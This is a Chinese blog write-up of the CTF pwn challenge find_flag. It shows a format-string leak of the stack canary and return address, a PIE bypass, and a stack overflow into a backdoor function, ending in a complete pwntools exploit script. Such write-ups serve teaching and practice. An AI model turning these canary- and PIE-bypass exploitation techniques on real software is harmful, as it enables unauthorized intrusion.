【PWN · ret2text & 格式化字符串漏洞 | NX | Canary | PIE】[深育杯 2021]find_flag

这一题最终的攻击手段可以是简单的ret2text(后门函数给出),然而保护全开则确实让人汗颜。。。

更重要的是!docker的程序偏移和本地不一样!!NSSCTF题目有问题!!

目录

前言

一、题目分析

二、攻击过程

1.格式化字符串漏洞泄露栈上内容——Canry & base_addr

1.1确定参数位置 

1.2确定并泄露Canary/base_addr的位置 

2.PIE处理绕过

2.1return_addr相对偏移量

2.2base_addr真实地址 

2.3ret2text的真实地址 

三、EXP

四、蒟蒻遇到的问题 

总结 


前言

Canary、PIE开启,如何进行绕过呢?

PIE——寻找真实地址作为“锚点”:【PWN · ret2text | PIE 】[NISACTF 2022]ezpie_Mr_Fmnwon的博客-CSDN博客

Canary——泄露内容后填充绕过:【PWN · ret2libc | Canary】[2021 鹤城杯]littleof_Mr_Fmnwon的博客-CSDN博客

而本题也无外乎这两个要点,然而还是让本蒟蒻感到头疼QAQ

(一点睡,六点半起,一整个学期伤身体,ICU里喝小米)


一、题目分析

main函数里找到漏洞函数,改名为vuln()便于记忆

两个gets都是往format里面输入,然而反汇编没体现,这是为什么呢?求解答。 

ok,一眼栈溢出漏洞

format,一眼格式化字符串漏洞

基本思路是否有了呢?始终牢记我们需要什么:

  1. 知道Canary的值
  2. 知道一个真实地址,并知道这个地址相对于程序首地址的偏移量——vuln()的return地址就满足要求

格式化字符串漏洞可以进行泄露/覆写/破坏程序,我们所需要的两个信息都在栈上,所以通过格式化字符串漏洞泄露栈上内容,即可获取Canry以及真实地址。

 

同时也可以找到后门函数(名字我进行了修改),只要栈溢出成功,我们就可以执行这个后门函数,获取flag 


二、攻击过程

1.格式化字符串漏洞泄露栈上内容——Canry & base_addr

好的,知道要泄露,但怎么泄露呢??

——换句话说,Canary以及base_addr是第几个参数呢?

1.1确定参数位置 

与32位程序参数存在栈上相比,64位程序的前六个参数存在寄存器中。也就是说,栈上的第一个“数据单元”存放第七个参数,第二个对应第八个......知道要泄露的内容在栈上是第几个“数据单元”就可以确认参数的序号了。

这里的“数据单元”,指的就是字,而64位计算机的字长是64位,即8个字节。

1.2确定并泄露Canary/base_addr的位置 

可以看到,Canary被存在了ebp的前一个字(8个字节),栈底从format开始,所以从栈底到Canary有(0x60-0x8)/8个字,即第11个字,算上6个参数在寄存器中,Canary会被默认当作第11+6=17个参数。

同理,return_addr被放在ebp后面,是第17+2=19个参数。

payload1=b"qaq%17$paaaaaa%19$pbbbbbbb"

2.PIE处理绕过

获得Canary后,栈溢出时原封不动地填充canary即可绕过。现在我们来处理PIE

地址随机了,所以找锚点,这是最基本的思路。

现在我们得到了真实地址base_addr,或者说return_addr,通过真实地址减去其相对于程序首地址的偏移量,再加上任意程序段的偏移量,即可获得程序段的真实地址。简单的加减法。

2.1return_addr相对偏移量

执行完vuln,自然要返回到调用的下一条指令。

相对偏移量为0x146f 

2.2base_addr真实地址 

显然是返回地址的真实地址-返回地址的相对偏移量 

2.3ret2text的真实地址 

显然是程序首地址+相对偏移量 

我选择跳到0x1228


三、EXP

'''
开启了PIE保护,存在canary保护,存在“后门函数”
---
泄露基址,泄露canary,再return到后门函数处
---
格式化字符串漏洞泄露两者,栈溢出控制return
'''
from pwn import *
from pwn import p64,u64

# io=process("./find_flag")
io=remote("node4.anna.nssctf.cn",28820)
context(arch="amd64",os="linux",log_level="debug")
backdoor=0x1228
ret_bias=0x146f

'''
format 字符串距离ebp 0x60 即 96
canary 距离ebp 8
64位程序 8字节一个字
栈底 距离canary (96-8)=11*8, 即canary是栈上的第11个参数
而64位程序,参数前6个先从栈上取,所以canary算是第6+11个参数,real_ret_addr是第19个
%17$p可泄露canary,%19$p可泄露real_ret_addr
'''
io.recvuntil(b'name?')

payload1=b"qaq%17$paaaaaa%19$pbbbbbbb"
io.sendline(payload1)

#接收的艺术:经常用到,但是emmm解码什么的很恶心(对我萌新来说)
io.recvuntil(b'qaq')
canary=int(io.recvuntil(b'aaaaaa')[:-6],16)    
print("Canary:",hex(canary))
real_ret_addr=int(io.recvuntil(b'bbbbbb')[:-6],16)
print("Real ret addr:",hex(real_ret_addr))

payload2=b'a'*(0x38)     #坑人!不是0x60-8,不知道为什么QAQ,而且很不理解:第17/19个参数的序号没变
payload2+=p64(canary)    #绕过canary
payload2+=b'a'*8         #填充ebp
payload2+=p64(real_ret_addr-ret_bias+backdoor)    #真实地址

io.sendline(payload2)
io.interactive()    #显然这是多余的,不需要交互/狗头

四、蒟蒻遇到的问题 

蒟蒻习惯打c++,python虽然大学计算机基础学过但是忘得七七八八。对于接收回显信息并转换为地址,总是出错:

  1. 如何切片?
  2. 什么时候int(......,16)什么时候u64/u32转码?

 本次做题也头痛不已,好在略有心得:

  1. 显然要对切片规则熟悉,不熟悉的可以现查(like me);此外,对于程序的显示信息,可以通过recv(num)、recvuntil(str)、sendlineafter(str,payload)来严格控制IO。本题,泄露Canary和real_ret_addr时,我构造"qaq%17$paaaaaa%19$pbbbbbbb",接收到"qaq”停止,因为接下来就是地址了,然后接收到"aaaaaa"停止,这样Canary的值就是开头到从右往左数第7个,根据切片规则就是[:-6],因为右往左第六个不算;同理,接收reak_ret_addr也是这样控制的。
  2. 原本以为,只要来数据,转化为数,都是u64/u32来解包,此题总是报错。原来,形如"\x23\x53\x63.....\x12\x00"这种byte数据,才可以用u64/u32解包,而且注意8字节/4字节对齐。本题因为是以字符串的形式发过来的,收到的信息(例如)是"0x1122334455667788",是16进制那么就用int(str,16)来转成数字。

总结

本题是遇到的第一道保护全开的题目,各种保护让人头大,对各种漏洞的综合利用也有更高的要求,加油!

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值